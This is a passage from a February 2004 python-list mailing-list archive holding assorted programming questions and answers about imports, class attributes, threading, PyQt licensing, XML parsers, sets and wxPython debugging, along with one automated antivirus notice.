3, a new object with the value 4 is created and n1 is reassigned to
point to it.  Just as with the string, n2 still points to the "old" 3
object.
    --dang
p.s.
This last bit about the numbers is supposed to be conceptual, rather
than a description of the internal implementation.


From thoaan at stud.cs.uit.no  Wed Feb 25 03:56:20 2004
From: thoaan at stud.cs.uit.no (Thomas Aanensen)
Date: Wed, 25 Feb 2004 09:56:20 +0100
Subject: Locate python home
Message-ID: <c1ho3e$2g8h$1@news.uit.no>

Python could be located at different paths on computers (e.g. c:\python).
How can I find this path?

Thomas




From jjl at pobox.com  Sun Feb  1 18:57:37 2004
From: jjl at pobox.com (John J. Lee)
Date: 01 Feb 2004 23:57:37 +0000
Subject: How do you get the Postgresql Python 2.3 or above?
References: <mailman.1104.1075658556.12720.python-list@python.org>
Message-ID: <871xpejqtq.fsf@pobox.com>

Benjamin Arai <benjamin at araisoft.com> writes:

> There is a module that compiles for Python in PostgreSQL that compile
> but it is only for Python 2.2.  How do you make it compile for 2.3?

There are several PostgreSQL modules for Python.  Which one?

Not that you're likely to get a better answer here than on the
relevant web page or mailing list, mind you...


John


From peter at engcorp.com  Wed Feb 11 14:52:29 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 11 Feb 2004 14:52:29 -0500
Subject: package similar to XML::Simple
References: <mailman.1428.1076438817.12720.python-list@python.org>
	<402931E4.C1E50E92@engcorp.com> <c0beqb$2uv$00$1@news.t-online.com>
	<40294322.7AF2C6D7@engcorp.com> <c0bh63$jp2$05$1@news.t-online.com>
	<40294D36.B0AEE3C4@engcorp.com> <c0do15$tge$02$1@news.t-online.com>
	<402A69C2.FC8DABA@engcorp.com> <402A84FF.42CCB137@hotmail.com>
Message-ID: <402A87FD.5879C6DC@engcorp.com>

Alan Kennedy wrote:
> 
> I think that the point Martin is making (and one which I wouldn't dare
> disagree with him on ;-) is that the unwillingness to comply 100% with
> the XML spec was a *design decision* on behalf of the PyRXP authors,
> not a bug.

Well, if that were the case, it would have helped if someone, anyone,
had said so at the time they said "not an XML parser".  Perhaps I should
have inferred earlier, from such comments, that they knew that this was
a firm decision by the authors, and not a simple bug.

> Choosing to actively ignore parts of a standard eliminates the right
> to claim standards-compliance, IMHO. Standards are there for the
> express purpose of encouraging interoperability. If a software
> designer wants to sacrifice a part of that standard for performance
> reasons, or reasons of code complexity, testing difficulty, etc, then
> their software is not a complete implementation of the standard, and
> should not claim to be so.

Completely agreed!

Hmm... makes me want to check their web site, to see what this is really
about:

'''RXP is a very fast validating XML parser written by Richard Tobin of 
the University of Edinburgh. It complies fully with the W3C test suites 
(although we have compiled it without Unicode support for the time being). 
We would like to thank Richard Tobin and Henry Thompson of the Language 
Technology Group for making this code available to the world.
'''

Seems pretty self-explanatory to me.  Might even be why, when I downloaded
and tried to use it (and got good results) a year or two ago, I had no
qualms about using it.  Clearly stated, and to the point, except that one
is left to make the small connection between "compiled without Unicode
support" and "doesn't handle character entities".  (Or is it that it 
handles character entities, but not those beyond 127?  Probably moot.)

Doesn't this imply that anyone, at any time, could choose to recompile
*with* Unicode support, which is presumably _in place_ but just optionally
left out of the standard distribution?

So it's neither a bug, nor a design decision, but a packaging choice.

I think I'm back to saying that "not an XML parser!!!!" is a bit of an
unfair reaction, given how open they are about the situation.

-Peter


From max at alcyone.com  Wed Feb 18 01:51:19 2004
From: max at alcyone.com (Erik Max Francis)
Date: Tue, 17 Feb 2004 22:51:19 -0800
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
References: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
	<7x65e4j3oa.fsf@ruckus.brouhaha.com>
	<4033084D.1AEA1ADA@alcyone.com>
	<7xwu6khofz.fsf@ruckus.brouhaha.com>
Message-ID: <40330B67.1C1FE033@alcyone.com>

Paul Rubin wrote:

> So it's yet another workaround for Python's lack of assignment
> expressions.  I like
> 
>     while (line := inputFile.readline()):
>         ...
> 
> a lot better.

(Please check my correction, it's actually not as dumb as I suggested.)

-- 
 __ Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/
/  \ San Jose, CA, USA && 37 20 N 121 53 W && &tSftDotIotE
\__/ The doors of Heaven and Hell are adjacent and identical.
    -- Nikos Kazantzakis


From simoninusa2001 at yahoo.co.uk  Thu Feb  5 18:12:23 2004
From: simoninusa2001 at yahoo.co.uk (simo)
Date: 5 Feb 2004 15:12:23 -0800
Subject: Qt/PyQt license confusion
References: <30260531.0402040954.68209983@posting.google.com>
	<mailman.1242.1075995721.12720.python-list@python.org>
Message-ID: <30260531.0402051512.4924a4a9@posting.google.com>

Ken Godee <ken at perfect-image.com> wrote

[snip]
> BlackAdder is best deal around,
> 
> personal version (win/linux), $80 includes both Qt/PyQt lic.
> for personal use. Personal use means your free to use
> for your own use. Can not distribute, commercially, or
> use in a business setting, even for your own use.

Yes, as far as I can tell after talking to Riverbank, The Kompany and
Trolltech, BA Personal is literally for your own non-commercial use
with NO DISTRIBUTION at all for Windows, but the Linux stuff is still
GPL.

> Business/Commercial version (win/linux), $380? includes both Qt/PyQt 
> commercial lic. per developer with rights to distribute.

$400 and yes, looks like unlimited (even commercial) rights to
distribute Qt/PyQt apps, but as you say.....

> Under windows personal, you can only give the code
> to another user, friend etc., they would have to have
> thier own Qt/PyQt personal lic. to run it on windows.

Yes, looks like users would have to source their own DLL's to run it,
from what Riverbank said, which means owning BA/Qt/PyQt etc.
 
> Under windows commercial, you could distribute, but...
> it has to been done in a way that does not allow
> user direct access to the underlying Qt/Pyqt base
> code. So they could not use to create there own programs.

Does this mean I couldn't distribute the Qt/PyQT DLL's still as they
could be used to run other Py[Qt] apps, I guess static (McMillan
Installer) binaries would be OK....

[book]
> Non-Commercial lic., PyQt is still deciding wether they
> are going to release a win non-commercial version to coinside
> with the new Trolltech non-commercial win release.
> They did with the older Qt 2.3 win non-commerial.

Yup, Riverbank basically said they're undecided, I don't know if
that's because it might compromise BlackAdder sales, also the Qt 3.2.1
with the book won't work with the commercial PyQt either, and 2.3 is
now unsupported too.

I wonder if it might be worth getting BA for the PyQt license and the
book for the full Qt license (i.e. it works with C++ too) although
that's $110+ now....

> I personally think people get to caught up in all this
> and try to cover everything from tinkering to commercial
> distribution before they even start programming.
> 
> It's free to tinker with on linux and distribute
> code gpl'd.

Well that's what I'm currently doing, but I'd like to use Windows
versions myself too. The only option I see is to distribute Linux
versions, with source code under the GPL that Windows users could use
if they had the PyQt/Qt licenses.

[...]
> If all that goes so well, you would like
> to use/distribute programs written with
> Qt/PyQt, $400 seems like a small investment.

I'm never going to write applications that would make it worth my
while to buy a $400 license just for Windows versions!

> I went through the same thing, going back
> and forth with wxpy/pyqt, installed and have
> used both. I'm staying in the PyQt camp and
> have found very little use (none yet) for win
> or commercial use. The little tool kit one
> can put together is outstanding.....
> Qt, Qt Assistant, Qt Designer,
> PyQt, pyuic, eric3, etc......

Well I'm not a very "visual" style programmer so Designer/pyuic are
not really for me, but the Python version of Assistant looks very
promising (as I hate the C++ docs, when you're coding Python!)


From pinard at iro.umontreal.ca  Tue Feb 17 16:30:39 2004
From: pinard at iro.umontreal.ca (=?iso-8859-1?Q?Fran=E7ois?= Pinard)
Date: Tue, 17 Feb 2004 16:30:39 -0500
Subject: {Spam?} Re: sets and subsets
In-Reply-To: <674o20dp1kj9ath3hmmha5fvmc342s1gcd@4ax.com>
References: <c0e4g3$r1$1@solaris.cc.vt.edu> <c0e8g4$4fi$03$1@news.t-online.com>
	<c0e8sa$7gs$1@solaris.cc.vt.edu>
	<c0e9uu$41u$00$1@news.t-online.com>
	<mailman.1.1076543872.698.python-list@python.org>
	<674o20dp1kj9ath3hmmha5fvmc342s1gcd@4ax.com>
Message-ID: <20040217213039.GA12973@alcyon.progiciels-bpi.ca>

> >from sets import Set
> >file('pruned_ips.txt', 'w').writelines(
> >        Set(file('ips.txt')) - Set(file('excluded_ips.txt')))

[Dave K]
> file('pruned_ips.txt', 'w').writelines([ip for ip in file('ips.txt')
>                               if ip not in file('excluded_ips.txt')])

The Set solution above swallows both files in memory, but executes
rather quickly.  The list comprehension solution uses much less memory,
but as the second file is wholly read for each line of the first file,
it may get prohibitive when files are not small.  For very big files,
both solutions are wrong anyway: one should likely disk-sort both files
and do a simultaneous read of the sorted results.

-- 
Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard



From rmemmons at mninter.net  Thu Feb 12 23:28:04 2004
From: rmemmons at mninter.net (Robert M. Emmons)
Date: Thu, 12 Feb 2004 22:28:04 -0600
Subject: Not all .PY files are compiled to .PYC during execution
In-Reply-To: <8d3e714e.0402121849.7474d1e@posting.google.com>
References: <8d3e714e.0402121849.7474d1e@posting.google.com>
Message-ID: <402C5254.1000102@mninter.net>

Tony C wrote:
> After using Python for just over a year now, I've noticed something
> for the first time.
> 
> I've written an application in one .PY file, and a class definition in
> another.PY file. (The application instantiates one instance of the
> class.)
> 
> When I run my application as in
> 
> python myapp.py
> 
> the file which contains the class definition (class.py), is compiled
> to a .PYC file, but the application (myapp.py) is not.
> 
> Why is the application file not compiled to .PYC  ?
> 
> thanks
It is generally recommended that the main program be small and they you 
you put most of your code in modules if you have a large program and 
many modules.

I don't know officially why python works this way, but perhaps it's to 
keep launching simple.

My speculation as to why it works this way is because when you create a 
python script -- you generally are creating a command or program.  You 
don't want to have to different file names for this program -- 
especially if it's in the path.  You want the file to have a single 
launch point and this has to be source if your going to keep things simple.

Rob


From sridharinfinity at yahoo.com  Sat Feb 14 03:34:38 2004
From: sridharinfinity at yahoo.com (Sridhar R)
Date: 14 Feb 2004 00:34:38 -0800
Subject: 6 Qustions about Python: Does it do GUI?  more...
References: <mailman.11.1076682913.31398.python-list@python.org>
Message-ID: <930ba99a.0402140034.286a1e5c@posting.google.com>

"Will" <k4bda at yahoo.com> wrote in message news:<mailman.11.1076682913.31398.python-list at python.org>...
> I just discovered Python and looked briefly at one of the tutorials 
> for beginners...

   Python is lot more than one of those tutorials.  You need to dig a
lot for better solutions. ;)

> It looks a lot like the old Command line Basic... I'm sure it does 
> much more but...

   Ofcourse, it is.

> 1 - Can you create windows, buttons, user input fields, etc as you 
> can with Visual Basic?

   Well, let me tell you one thing.  I was used to be a VB programmer.
 After switching to the Linux world, I started learning GTK ( a GUI
toolking on top of X).  Then I programmed my first project (an 8085
simulator), just in 3 days.  I personally believe that, VB is not as
easy for programmer like me.  I need flexiblity.  But such  feelings
were not in my mind when I was using VB and at that time I was looking
VB as the only easiest language in the World.  Now I am never able to
see any other easier language than Python.  Once again, welcome to the
Python world.

   Anyway, try Glade (http://glade.gnome.org), a GUI builder.  Also
for GUI try PyGTK (http://pygtk.org).  Search google for windows
version of glade.  For me, pygtk (or GTK) has killer API than MFC, or
whatever stuffs that are Windows-only.
 
> 2 - Can you call Windows Procedures or what ever they call them 
> these days?

   Do you mean by Win32API.  No.  Please switch the viewpoint you're
viewing from.  A person writing a software, shouldn't be programming
it platform specific.  (For eg, a VB programmer can only write
programs for Windows world, though projects like http://vb2py.sf.net
exist).  You should write programs in a portable way.  Try using
existing python packages and modules for you job.  If you need to do
more windows specific stuffs, then I remember win32api module for
python once, try that.

> 3 - Can you create your own objects with a bunch of methods and 
> properties?

  and that's python.

> 
> 4 - Can you create a Windows program that looks and feels like a 
> Windows program?

   Try PyGTK (http://pygtk.org)  (particularly look at the windows
part of the FAQ)
   Try http://gtk-wimp.sf.net
   This is enough.  Even your VB can't create programs with WindowXP
look and feel (by default).
    See screenshots at http://gtk-wimp.sf.net


> 5 - Does it come with a compiler or must the user have the 
> interpreter on their machine?

   Yes and not necessary.  It's better if the user has Python
installed on his machine. Otherwise, you have package your application
_completely_ everytime bundled.  That is a space overhead.  Projects
like py2exe and freeze are there for you question.

> 6 - Why another language? Easier than C or C++ or Visual C ?? More 
> powerful than Visual Basic or the competing Borland productg?? Why 
> Python?
> 

   I strongly discourage your point of mentioning VB as powerful.  May
be your domain was SMALL.
When I was using VB, I thought VB was powerful.  At that time, I know
only what you know.  Then I
entered the open source world.  I learn lot of languages.  Now feel VB
is just well behind lot of the languages I learnt.  Now python is in
front.
  Learn python. Program python.  Then say which is the powerful
language (for you).  Don't back away by just seeing that python
doesn't have any wysiwyg stuffs.  Remember UNIX, a most powerful
architecture than Windows, though windows has more attractive GUI (now
Linux has some the best GUIs)

> I'm interested as I never really took the time to become much of a C 
> programmer (or C++ or Visual C) - I've done lot's of assembly 
> language/embedded processor stuff & years ago Basic and some Visual 
> Basic... before .net... and wondered if Python would do me for some 
> projects I have always wanted to do?

    Yes.  Python is a scripting language.  It will decrease you
development time, increasing your productivity.  Henessey and
Patterson say
   "A program will spend 90% of the time in 10% of its code"
  So write Python, and find that 10% of code (by profiling), then
optimise it by writing that part in C/C++.
  AFAIC this is the most elegant way to write software
  
  Search Google with this query "why python esr", and click on the "I
am feeling lucky" button (or surf to the first search result).   I'll
definitely be a lucky person ;)

 
> Thanks for any info.
> 
> Will

Happy hacking.


From claird at lairds.com  Wed Feb 18 08:08:05 2004
From: claird at lairds.com (Cameron Laird)
Date: Wed, 18 Feb 2004 13:08:05 -0000
Subject: Python Productivity Gain?
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>
	<36wfzdajavi.fsf@goya03.ti.uni-mannheim.de>
	<xqxptce16g3.fsf@cola2.ca.boeing.com>
	<36wbrnwk5g0.fsf@goya03.ti.uni-mannheim.de>
Message-ID: <1036otlf7ng59a@corp.supernews.com>

In article <36wbrnwk5g0.fsf at goya03.ti.uni-mannheim.de>,
Matthias  <no at spam.pls> wrote:
			.
		[good analytic points]
			.
			.
>We agree in the description of the current situation.  That only few
>lab research (with a selection of suitably created language variants
>[1]) is being done is a political decision, however.  It's more sexy
>to create-and-hype new languages/tools/processes than to do actual
>research.
			.
			.
			.
No.  Or even, "No!"  

I'm 'bout as quick to impute covert political motives as anyone.
I sure don't see it in this case, though.  Creating-and-hyping
is sooooo much different an activity than "actual reserach" that
I simply don't see them as alternatives for most individuals.
When I apply my razor-of-Occam, I come up with an abundance of
explanations of "the current situation" without needing to 
invoke politics; the expense of research jumps to my mind, first,
as apparently is true for others who've written in this thread.

Maybe you mean something different by "political" than I under-
stand.

Incidentally, although I haven't made an opportunity to speak
with him deeply about this, I'm willing to bet that Guido *does*
regard Python as an experiment, and an instance of "actual re-
search".
-- 

Cameron Laird <claird at phaseit.net>
Business:  http://www.Phaseit.net


From NAIGIMSESRIMAIL at gims.com  Wed Feb 18 10:33:08 2004
From: NAIGIMSESRIMAIL at gims.com (GroupShield for Exchange (ESRIMAIL))
Date: Wed, 18 Feb 2004 17:33:08 +0200
Subject: ALERT -  GroupShield ticket number OB4_1077118372_ESRIMAIL_3 was 
	generated
Message-ID: <B06B8FEF47ACD7119E720040F428459102124971@ESRIMAIL>

Action Taken:
The message was blocked because of its subject.

To:
python-list at python.org <python-list at python.org>

From:
Dennis Reinhardt <DennisR at dair.com>

Sent:
2074761856,29619764

Subject:
Re: Hello World with pywin

Attachment Details:-

Attachment Name: N/A
File: Infected.msg
Infected? No
Repaired? No
Blocked? Yes
Deleted? No
Virus Name: 



	
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From No.Spam.mc at No.Spam.mclaveau.No.Spam.com  Sun Feb 22 12:13:06 2004
From: No.Spam.mc at No.Spam.mclaveau.No.Spam.com (Michel Claveau/Hamster)
Date: Sun, 22 Feb 2004 18:13:06 +0100
Subject: Where can I post a new debugger?
References: <mailman.160.1077453987.27104.python-list@python.org>
Message-ID: <c1anu4$9r5$2@news-reader4.wanadoo.fr>

Here :
 http://www.vex.net/parnassus/
 http://py.vaults.ca/submit/

?





From mwilson at the-wire.com  Sat Feb  7 16:44:56 2004
From: mwilson at the-wire.com (Mel Wilson)
Date: Sat, 07 Feb 2004 16:44:56 -0500
Subject: Basic 'import' problem
References: <c03aeb$12q8$1@ns.felk.cvut.cz> <c03i3f$3v4$03$1@news.t-online.com>
	<c03kmp$28u7$1@ns.felk.cvut.cz>
Message-ID: <YxVJAls/KHSB089yn@the-wire.com>

In article <c03kmp$28u7$1 at ns.felk.cvut.cz>,
Frantisek Fuka <fuka at fuxoft.cz> wrote:
>My application is started from base.py. This file imports many other
>files (modules) that do different stuff. Base.py references dozens of
>classes and functions in other modules. After a while, there comes a
>time when some of these modules need to reference some basic function
>inluded in base.py. Which means (I thought until now) that I have to
>include base.py in these files. Or not? Are you saying there is no
>chance of doing this? Let's forget "import" for now and please explain
>to me: Is there way to create a Python application consisting of several
>modules that can freely call and reference stuff in each other? From
>your answer it seems that the anwer is "no".

   To evade your problem, design your modules (as much as
you can) as though they were subroutine libraries usable
from any program.

   If you can't do that, maybe pass the main-level functions
as parameters to the lower-level module functions, as
"callbacks".

   A really filthy, but workable, last resort would be for
main-level code to poke the necessary function into the
sub-modules namespace, e.g.

        ==================================
        "sub1.py"
        sub1_func1 ():
            main_func1()


        ==================================
        "base.py"
        import sub1
        def func1 ():
            pass
        sub1.main_func = func1


   Another thought, in sub1.py, define a class with most of
the functionality.  Then, in base.py, define a descendant of
that class with its own special method to perform the
main-level operation.



        Good Luck.      Mel.


From jcarlson at nospam.uci.edu  Fri Feb  6 15:15:25 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Fri, 06 Feb 2004 12:15:25 -0800
Subject: OT: Recommended news reader?
In-Reply-To: <y8rg5bo1.fsf@python.net>
References: <4f0a9fdb.0402031309.fde7220@posting.google.com>
	<m3y8rhbenz.fsf@tanelorn.bandersnatch.org>
	<y8rh9zfx.fsf@python.net> <Xns9486E9AD26AFEJanC@213.119.4.35>
	<isik8w50.fsf@python.net> <c00ho4$inl$1@news.service.uci.edu>
	<y8rg5bo1.fsf@python.net>
Message-ID: <c00sp8$sik$1@news.service.uci.edu>

Thomas Heller wrote:

> Josiah Carlson <jcarlson at nospam.uci.edu> writes:
> 
> 
>>>No, I need imap as well as nntp.
>>
>>Mozilla Thunderbird has both nntp and imap.  Have you tried it?
> 
> 
> Yes, but it doesn't allow to configure the From: address depending on
> the group I'm currently in - or did I miss this?  That was the original question.
> 
> Thomas

Not depending on the group.

There exists an email client for windows called Becky! internet email, 
It has a newsgroup plugin (it is a bit unstable, which is why I use 
Thunderbird for newsgroups), that allows you to have different defaults 
per mail folder/newsgroup group.

  - Josiah


From jdmux at gonomadic.net  Sun Feb 22 01:00:19 2004
From: jdmux at gonomadic.net (John Wohlbier)
Date: Sat, 21 Feb 2004 23:00:19 -0700
Subject: list of class instances within a list of a class instances
Message-ID: <40384573.4090304@gonomadic.net>

Hi,

I have a basic programming question regarding classes
in python. I want to have a list of "primaryClass"
instances, and in each instance of primaryClass I would
like a list of "subClass" instances. When each primaryClass
instance is created I want to put one instance of subClass
into the "sClasses" list (see code). The attached
code is what I came up with, but it doesn't do what I
want. For some reason the "sClasses" list in each primaryClass
instance is the same! That is, when a new primaryClass is instantiated,
and the .append(subClass()) is called in the constructor, the
subClass is appended to ALL instances of primaryClass, instead
of just the new instance of primaryClass. The
print statements in the code confirm this.

I think I must be missing something fundamental. Thanks
in advance.

jgw

======================================================================


###############################################################################
class primaryClass:
     name=""
     sClasses = []

     def __init__(self,name):
         self.name = name
         self.sClasses.append(subClass("default"))
###############################################################################
class subClass:
     name=""

     def __init__(self,name):
         self.name = name

###############################################################################


port = [] # make a list
port.append(primaryClass("firstclass"))

print 'port contents'
for i in range(len(port)):
     print i, port[i].name
     for j in range(len(port[i].sClasses)):
         print i, j, port[i].sClasses[j].name

port.append(primaryClass("secondclass"))
print 'port contents'
for i in range(len(port)):
     print i, port[i].name
     for j in range(len(port[i].sClasses)):
         print i, j, port[i].sClasses[j].name

port.append(primaryClass("thirdclass"))
print 'port contents'
for i in range(len(port)):
     print i, port[i].name
     for j in range(len(port[i].sClasses)):
         print i, j, port[i].sClasses[j].name




From m.diegoli at cineca.it  Fri Feb  6 03:32:21 2004
From: m.diegoli at cineca.it (Michele Diegoli)
Date: Fri, 6 Feb 2004 09:32:21 +0100
Subject: Interaction with two mouse
Message-ID: <bvviff$h2u$1@newsfeed.cineca.it>

Hi to everybody,
I have an hard question:
I want to use two indipendent mouse with my application.
How can I implement this?

--Michele Diegoli




From jcarlson at nospam.uci.edu  Sun Feb  1 18:40:11 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sun, 01 Feb 2004 15:40:11 -0800
Subject: bsddb.dbshelve problem unpickling objects from another directory
In-Reply-To: <401d7d15$0$3257$58c7af7e@news.kabelfoon.nl>
References: <401d7d15$0$3257$58c7af7e@news.kabelfoon.nl>
Message-ID: <bvk2t3$q5h$1@news.service.uci.edu>

BG wrote:

> I am experimenting with dbshelve in Python 2.3.3 on Win2k. The problem is
> that objects put into the dbshelve by a script in one directory cannot be
> unpickled by script running in another directory. Why?
> 
> I am writing my own collection called testcollection to hold testitems. The
> testcollection uses dbshelve to store its items to disk. I want design a
> package called testmodules.
[snip]

Pickled objects reference the module and the class from which they were 
created from.
When running testmodules/test.py, testitem lives in in the module testitem.
When running test.py, testitem lives in the module testmodules.testitem.


  - Josiah


From nessus at mit.edu  Thu Feb 19 18:29:41 2004
From: nessus at mit.edu (Douglas Alan)
Date: Thu, 19 Feb 2004 18:29:41 -0500
Subject: GUI application death catcher?
References: <lcisi4ezli.fsf@gaffa.mit.edu> <40342563.BA2866BF@engcorp.com>
Message-ID: <lc65e2lkbe.fsf@gaffa.mit.edu>

Peter Hansen <peter at engcorp.com> writes:

> This sounds a lot like you are writing this without proper unit tests.
> If that's true, and if you really have to run this on a Windows machine,
> then god help you...

I do do unit tests, but unit tests for GUI code and I/O are not so
easy.

> Go with something really really simple, and if you want to take a
> stab at a more sophisticated (read complicated) arrangement, at
> least put it inside the really simple handler that you write first
> and test really well.

Sure, but really, really simple is nothing more than a pop-up saying,
"The program died", and that's not much more useful than if the app
just disappears, or puts up one of the indecipherable-to-the-layperson
dialog boxes that Tkinter likes to put up when there's an uncaught
exception.

|>oug


From bob at redivi.com  Sat Feb 28 15:20:49 2004
From: bob at redivi.com (Bob Ippolito)
Date: Sat, 28 Feb 2004 15:20:49 -0500
Subject: Python as replacement for PHP?
References: <403fa54b@news.zianet.com> <10404jc6dinura8@corp.supernews.com>
	<2004022801225916807%bob@redivicom>
	<104126adupk6oeb@corp.supernews.com>
Message-ID: <2004022815204975249%bob@redivicom>

On 2004-02-28 07:25:46 -0500, claird at lairds.com (Cameron Laird) said:

> In article <2004022801225916807%bob at redivicom>,
> Bob Ippolito  <bob at redivi.com> wrote:
>> On 2004-02-27 23:00:44 -0500, claird at lairds.com (Cameron Laird) said:
> 			.
> 		[arguments against
> 		positions *I* certainly
> 		don't take]
> 			.
> 			.
>> All that said, PHP is a good language for a beginner.  Lots of books 
>> are available that approach the subject from just about any angle, it 
>> is trivial to setup (you don't have to, you find some $5/mo provider to 
>> do it for you, or you buy OS X,), and is so underfeatured that you 
>> couldn't possibly be frightened by its syntax if it is one of the first 
>> few languages you've seen.  That doesn't mean it's a good language to
> 			.
> 			.
> 			.
> "OS X"?  Panther, or Mac OS X 10.3, does build in an Apache--but
> as near as I can tell, it's *not* one which includes PHP.  PHP
> has to be installed explicitly.  Am I missing something?
> 
> I'm not ratifying the characterization of PHP as "underfeatured".

By "installed explicitly", do you mean "turned on in httpd.conf"?  You 
may be right that pre-10.3 didn't include /usr/bin/php (I am not sure), 
but mod_php has been standard (just not enabled by default) since at 
least 10.1.

When I say grossly underfeatured, I mean the *language* not the *library*.

-bob



From johng2001 at rediffmail.com  Wed Feb  4 13:04:45 2004
From: johng2001 at rediffmail.com (John)
Date: 4 Feb 2004 10:04:45 -0800
Subject: Python+CORBA Vs EJB!
Message-ID: <ba129ce7.0402041004.54228905@posting.google.com>

I am looking at solutions for creating distributed objects. I am
interested in comparing Python + CORBA (Fnorb, OmniORBPy etc) vs EJB.
Could any of you who have used both contrast them for me? At the first
pass, OmniORBPy actually seemed easier than EJB but EJB development is
far better supported in tools and thus could potentially be easier.
Both can interop one way or other with all of my clients.

I am looking for development insights in terms of development ease,
features (I don't need many now but eventually I likely will) and
robustness.

Please note that I want to compare CORBA development in Python with
EJB, not CORBA in general with EJB.


From garry at research.att.com  Tue Feb 10 12:36:42 2004
From: garry at research.att.com (Garry Hodgson)
Date: Tue, 10 Feb 2004 17:36:42 GMT
Subject: help! multi-threading problem on hyperthreading smp linux server
In-Reply-To: <402901C2.00000B.04040@PIGPEN>
References: <402901C2.00000B.04040@PIGPEN>
Message-ID: <2004021012361076434601@k2.sage.att.com>

a colleague of mine has seen an odd problem in some code of ours. 
we initially noticed it on webware, but in distilling a test case it seems
to be strictly a python issue.  in the real system, it manifests as
webware just locking up, for no apparent reason, until we kill it.
we've also had the python interpreter running webware die on occasion.
it works fine on our desktop linux and windows machines, but fails 
on the production hardware.  the main difference being that the 
production hardware is a dual Xenon machine with
hyperthreading enabled.

has anyone run into problems like this, or have any clues what
the problem might be?  we pushed pretty hard on a skeptical 
project manager to get python and webware accepted for this
project, and it's embarrassing to have it acting flaky.

i'd really appreciate any insight anyone's got on this.  we need
to resolve it quickly.  mike's description of the test case follows.

thanks


"Michael W. Balk" wrote:

> You asked me yesterday to give you some info on the multi-threading problem
> so that you could post a query on comp.lang.python.
> 
> Here is what I know so far.
> 
> The machine has two Xenon CPUs, both with hyper-threading enabled.
> The linux kernel running is:  2.4.20-8smp
> 
> The pure python test I ran did the following:
> 
> Starts up 50 threads (using the threading module).
> Each thread calculates 500 random numbers and writes them to a file,
> repeating this 50 times to generate 50 output files.  So there are 2500
> files expected once all 50 threads complete.
> 
> The observation is that only a few threads actually produce output files,
> and none of those threads produce all 50 of the files they are to generate.
> 
> The main thread does a join on each of the 50 threads sequentially, so that
> after the last thread completes, then the program should exit.  However, the
> observation is that the main thread never exits, presumably since it has
> joined to a child thread whose run() method never returns.
> 
> Now if I change the test so that a single thread runs the test 50 times
> sequentially, all expected files are produced and the program terminates normally.


----
Garry Hodgson, Technology Consultant, AT&T Labs

Be happy for this moment.
This moment is your life.



From omission9 at invalid.email.info  Fri Feb 20 23:36:43 2004
From: omission9 at invalid.email.info (omission9)
Date: Sat, 21 Feb 2004 04:36:43 GMT
Subject: need help with bizarre error caught in debugger. execution is
	hanging
Message-ID: <vfBZb.57526$1S1.32587@nwrddc01.gnilink.net>

Any advice on the following would be much appreciated. I have thrown 
everything I have at it and am completely stumped. I apologize for the 
length, I have tried to be as succint as possible.

I have a pythoncard/wxPython application. The application works well 
except that users were reporting occasional crashes. The application 
would simply stop and just hang. I was able to reproduce the bug 
faithfully and ran the application in the python debugger pdb.py.
The trace is below and I simply cannot understand why it is hanging 
where it is. The application gets stuck executing

return len(self.data[0])

This works many many times during the applications execution, indeed 
several successful runs of this line are visible immediatley above the 
hang. I have also printed out the value of self.data. This is a list 
containing 12 inner lists each of length 3 at the point of the hang and 
is never larger than that.
What on earth could cause this to stop the interpreter cold in its 
tracks without an exception being thrown? CPU usage on the machine is 
high throughout the application's execution and stays as such after the 
"hang" begins. I eventually kill the app although I have let it run for 
a long time and it never leaves this line.
For what its worth, I am using python 2.3 on windows2k.

Anyone have idea what could be happening?

  c:\python23\lib\site-packages\wxpython\grid.py(664)_setOORInfo()->None
  -> return val
  (Pdb) s
  --Return--
   c:\python23\lib\site-packages\wxpython\grid.py(850)__init__()->None
  -> self._setOORInfo(self)
  (Pdb) s

 
c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtable.py(17)__init

  __()
  -> self.data = data
  (Pdb) s

 
c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtable.py(18)__init

  __()
  -> self.colLabels = headings
  (Pdb) s
  --Return--
c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtable.py(18)__init

  __()->None
  -> self.colLabels = headings
  (Pdb) s

 
c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtablegrid.py(15)__

  init__()
  -> self.colsizes = colsizes
  (Pdb) s

 
c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtablegrid.py(16)__

  init__()
  -> self.SetTable(table, True)
  (Pdb) s
  --Call--
  c:\python23\lib\site-packages\wxpython\grid.py(993)SetTable()
  -> def SetTable(self, *_args, **_kwargs):
  (Pdb) s
  > c:\python23\lib\site-packages\wxpython\grid.py(994)SetTable()
  -> val = gridc.wxGrid_SetTable(self, *_args, **_kwargs)
  (Pdb) s
  --Call--
c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtable.py(27)GetNumberRows()
  -> def GetNumberRows(self):
  (Pdb) s
c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtable.py(28)GetNumberRows()
  -> return len(self.data)
  (Pdb) s
  --Return--
c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtable.py(28)GetNumberRows()->12
  -> return len(self.data)
  (Pdb) s
  --Call--
c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtable.py(30)GetNumberCols()
  -> def GetNumberCols(self):
  (Pdb) s
c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtable.py(31)GetNumberCols()
  -> if len(self.data) <= 0:
  (Pdb) s
c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtable.py(34)GetNumberCols()
  -> return len(self.data[0])
  (Pdb) s
--Return--

 
c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtable.py(34)GetNumberCols()->3
  -> return len(self.data[0])
  (Pdb) s



From harry.g.george at boeing.com  Fri Feb 20 06:24:54 2004
From: harry.g.george at boeing.com (Harry George)
Date: Fri, 20 Feb 2004 11:24:54 GMT
Subject: Parsing library for Python?
References: <c15fip$1epsru$1@ID-212335.news.uni-berlin.de>
Message-ID: <xqxr7wqf0xl.fsf@cola2.ca.boeing.com>

Viktor Rosenfeld <rosenfel at informatik.hu-berlin.de> writes:

> Hi, 
> 
> I need to create a parser for a Python project, and I'd like to use process
> kinda like lex/yacc.  I've looked at various parsing packages online, but
